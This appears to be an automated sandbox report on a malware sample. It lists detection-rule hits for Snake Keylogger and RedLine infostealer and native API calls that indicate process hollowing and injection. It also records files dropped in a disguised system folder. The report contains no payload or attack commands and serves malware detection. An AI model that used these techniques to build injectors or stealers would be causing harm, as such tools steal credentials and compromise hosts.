Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29916478.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.2709e790.10.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6c896.9.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.400000.1.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285dc896.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90f08.8.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27065570.11.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6c896.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342db98e.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285dc896.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2ae90000.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.3.yihfsboC.pif.327be688.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.35956478.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.1.yihfsboC.pif.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.28be0000.15.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.285db98e.4.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690000.5.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.EPTMAcgvNZ.exe.21ef13d8.11.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.2b4c0000.10.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27066478.12.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.1.yihfsboC.pif.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.34690f08.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.1.yihfsboC.pif.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.25d6b98e.8.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342db98e.3.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 23.2.yihfsboC.pif.342dc896.4.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.3.yihfsboC.pif.24219998.0.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.2709e790.10.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.2.yihfsboC.pif.27065570.11.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0.2.EPTMAcgvNZ.exe.21a70ae8.9.raw.unpack, type: UNPACKEDPE Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 14.3.yihfsboC.pif.24219998.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 26.2.yihfsboC.pif.29915570.7.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2542721990.0000000034860000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000001.1460585249.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000001A.00000002.2505611445.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000002.2505730658.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2542354548.0000000028BE0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2538945311.000000002B4C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: 0000001A.00000001.1548998614.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables with potential process hoocking Author: ditekSHen
Source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR Matched rule: Detects Snake Keylogger Author: ditekSHen
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR Matched rule: Windows_Trojan_SnakeKeylogger_af3faa65 Author: unknown
Source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR Matched rule: Detects Snake Keylogger Author: ditekSHen
Contains functionality to call native functions
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28670 NtUnmapViewOfSection, 0_2_02B28670
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28400 NtReadVirtualMemory, 0_2_02B28400
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B27A2C NtAllocateVirtualMemory, 0_2_02B27A2C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2DC8C RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose, 0_2_02B2DC8C
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2DC04 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile, 0_2_02B2DC04
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread, 0_2_02B28D70
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2DD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose, 0_2_02B2DD70
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B27D78 NtWriteVirtualMemory, 0_2_02B27D78
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B27A2A NtAllocateVirtualMemory, 0_2_02B27A2A
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B2DBB0 RtlI,RtlDosPathNameToNtPathName_U,NtDeleteFile, 0_2_02B2DBB0
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread, 0_2_02B28D6E
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A643A NtOpenThreadToken,NtOpenProcessToken,NtClose, 16_2_003A643A
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 16_2_003A4823
Source: C:\Users\Public\alpha.pif Code function: 16_2_003B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 16_2_003B7460
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A64CA NtQueryInformationToken, 16_2_003A64CA
Source: C:\Users\Public\alpha.pif Code function: 16_2_003BA135 NtSetInformationFile, 16_2_003BA135
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A6500 NtQueryInformationToken,NtQueryInformationToken, 16_2_003A6500
Source: C:\Users\Public\alpha.pif Code function: 16_2_003BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 16_2_003BC1FA
Source: C:\Users\Public\alpha.pif Code function: 16_2_00394E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp, 16_2_00394E3B
Source: C:\Users\Public\alpha.pif Code function: 16_2_003A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError, 16_2_003A4759
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A643A NtOpenThreadToken,NtOpenProcessToken,NtClose, 19_2_003A643A
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4823 NtQueryVolumeInformationFile,GetFileInformationByHandleEx, 19_2_003A4823
Source: C:\Users\Public\alpha.pif Code function: 19_2_003B7460 EnterCriticalSection,LeaveCriticalSection,fprintf,fflush,TryAcquireSRWLockExclusive,NtCancelSynchronousIoFile,ReleaseSRWLockExclusive,_get_osfhandle,FlushConsoleInputBuffer, 19_2_003B7460
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A64CA NtQueryInformationToken, 19_2_003A64CA
Source: C:\Users\Public\alpha.pif Code function: 19_2_003BA135 NtSetInformationFile, 19_2_003BA135
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A6500 NtQueryInformationToken,NtQueryInformationToken, 19_2_003A6500
Source: C:\Users\Public\alpha.pif Code function: 19_2_003BC1FA SetLastError,CreateDirectoryW,CreateFileW,RtlDosPathNameToNtPathName_U,memset,memcpy,memcpy,NtFsControlFile,RtlNtStatusToDosError,SetLastError,CloseHandle,RtlFreeHeap,RemoveDirectoryW, 19_2_003BC1FA
Source: C:\Users\Public\alpha.pif Code function: 19_2_00394E3B _setjmp3,NtQueryInformationProcess,NtSetInformationProcess,NtSetInformationProcess,longjmp, 19_2_00394E3B
Source: C:\Users\Public\alpha.pif Code function: 19_2_003A4759 RtlDosPathNameToRelativeNtPathName_U_WithStatus,NtOpenFile,RtlReleaseRelativeName,RtlFreeUnicodeString,CloseHandle,DeleteFileW,GetLastError, 19_2_003A4759
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF8670 NtUnmapViewOfSection, 21_2_02AF8670
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF8400 NtReadVirtualMemory, 21_2_02AF8400
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF7A2C NtAllocateVirtualMemory, 21_2_02AF7A2C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF7D78 NtWriteVirtualMemory, 21_2_02AF7D78
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF8D70 Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread, 21_2_02AF8D70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AFDD70 NtOpenFile,NtReadFile, 21_2_02AFDD70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF86F7 NtUnmapViewOfSection, 21_2_02AF86F7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF7A2A NtAllocateVirtualMemory, 21_2_02AF7A2A
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 21_2_02AF8D6E Wow64GetThreadContext,Wow64SetThreadContext,NtResumeThread, 21_2_02AF8D6E
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD8670 NtUnmapViewOfSection, 24_2_02BD8670
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD8400 NtReadVirtualMemory, 24_2_02BD8400
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD7A2C NtAllocateVirtualMemory, 24_2_02BD7A2C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD7D78 NtWriteVirtualMemory, 24_2_02BD7D78
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD8D70 GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread, 24_2_02BD8D70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BDDD70 RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose, 24_2_02BDDD70
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD86F7 NtUnmapViewOfSection, 24_2_02BD86F7
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD7A2A NtAllocateVirtualMemory, 24_2_02BD7A2A
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BDDBB0 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile, 24_2_02BDDBB0
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BDDC8C RtlDosPathNameToNtPathName_U,NtWriteFile,NtClose, 24_2_02BDDC8C
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BDDC04 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile, 24_2_02BDDC04
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF Code function: 24_2_02BD8D6E GetThreadContext,Wow64GetThreadContext,SetThreadContext,Wow64SetThreadContext,NtResumeThread, 24_2_02BD8D6E
Contains functionality to communicate with device drivers
Source: C:\Users\Public\alpha.pif Code function: 16_2_00394C10: memset,GetFileSecurityW,GetSecurityDescriptorOwner,??_V@YAXPAX@Z,memset,CreateFileW,DeviceIoControl,memcpy,CloseHandle,??_V@YAXPAX@Z,memset,??_V@YAXPAX@Z,FindClose,??_V@YAXPAX@Z, 16_2_00394C10
Contains functionality to launch a process as a different user
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B28788 CreateProcessAsUserW, 0_2_02B28788
Creates files inside the system directory
Source: C:\Users\Public\alpha.pif File created: C:\Windows Jump to behavior
Source: C:\Users\Public\alpha.pif File created: C:\Windows \SysWOW64 Jump to behavior
Deletes files inside the Windows folder
Source: C:\Users\Public\alpha.pif File deleted: C:\Windows \SysWOW64
Detected potential crypto function
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B120C4 0_2_02B120C4
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B3E596 0_2_02B3E596
Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe Code function: 0_2_02B1C98E 0_2_02B1C98E
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00408C60 14_2_00408C60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0040DC11 14_2_0040DC11
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00407C3F 14_2_00407C3F
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00418CCC 14_2_00418CCC
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00406CA0 14_2_00406CA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004028B0 14_2_004028B0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_0041A4BE 14_2_0041A4BE
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00418244 14_2_00418244
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00401650 14_2_00401650
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00402F20 14_2_00402F20
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004193C4 14_2_004193C4
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00418788 14_2_00418788
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00402F89 14_2_00402F89
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_00402B90 14_2_00402B90
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004073A0 14_2_004073A0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_241715C0 14_2_241715C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_24171311 14_2_24171311
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_24171320 14_2_24171320
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DFE660 14_2_28DFE660
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DFC0F0 14_2_28DFC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DF7CA4 14_2_28DF7CA4
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DF0A50 14_2_28DF0A50
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_28DF0A60 14_2_28DF0A60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993A1D0 14_2_2993A1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993D5D8 14_2_2993D5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29937138 14_2_29937138
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993AD60 14_2_2993AD60
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993E168 14_2_2993E168
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993C480 14_2_2993C480
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993F888 14_2_2993F888
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993B8F0 14_2_2993B8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993ECF8 14_2_2993ECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993D010 14_2_2993D010
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29932C08 14_2_29932C08
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29930040 14_2_29930040
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993A798 14_2_2993A798
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993DBA0 14_2_2993DBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993E730 14_2_2993E730
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993B328 14_2_2993B328
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993BEB8 14_2_2993BEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993F2C0 14_2_2993F2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29930608 14_2_29930608
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993CA48 14_2_2993CA48
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29936780 14_2_29936780
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29932BF9 14_2_29932BF9
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2993632B 14_2_2993632B
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29936771 14_2_29936771
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_299362AE 14_2_299362AE
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29951198 14_2_29951198
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995A580 14_2_2995A580
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29959FB8 14_2_29959FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29950BD0 14_2_29950BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_299593F8 14_2_299593F8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_299599E8 14_2_299599E8
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_29957710 14_2_29957710
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995B110 14_2_2995B110
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_2995F510 14_2_2995F510
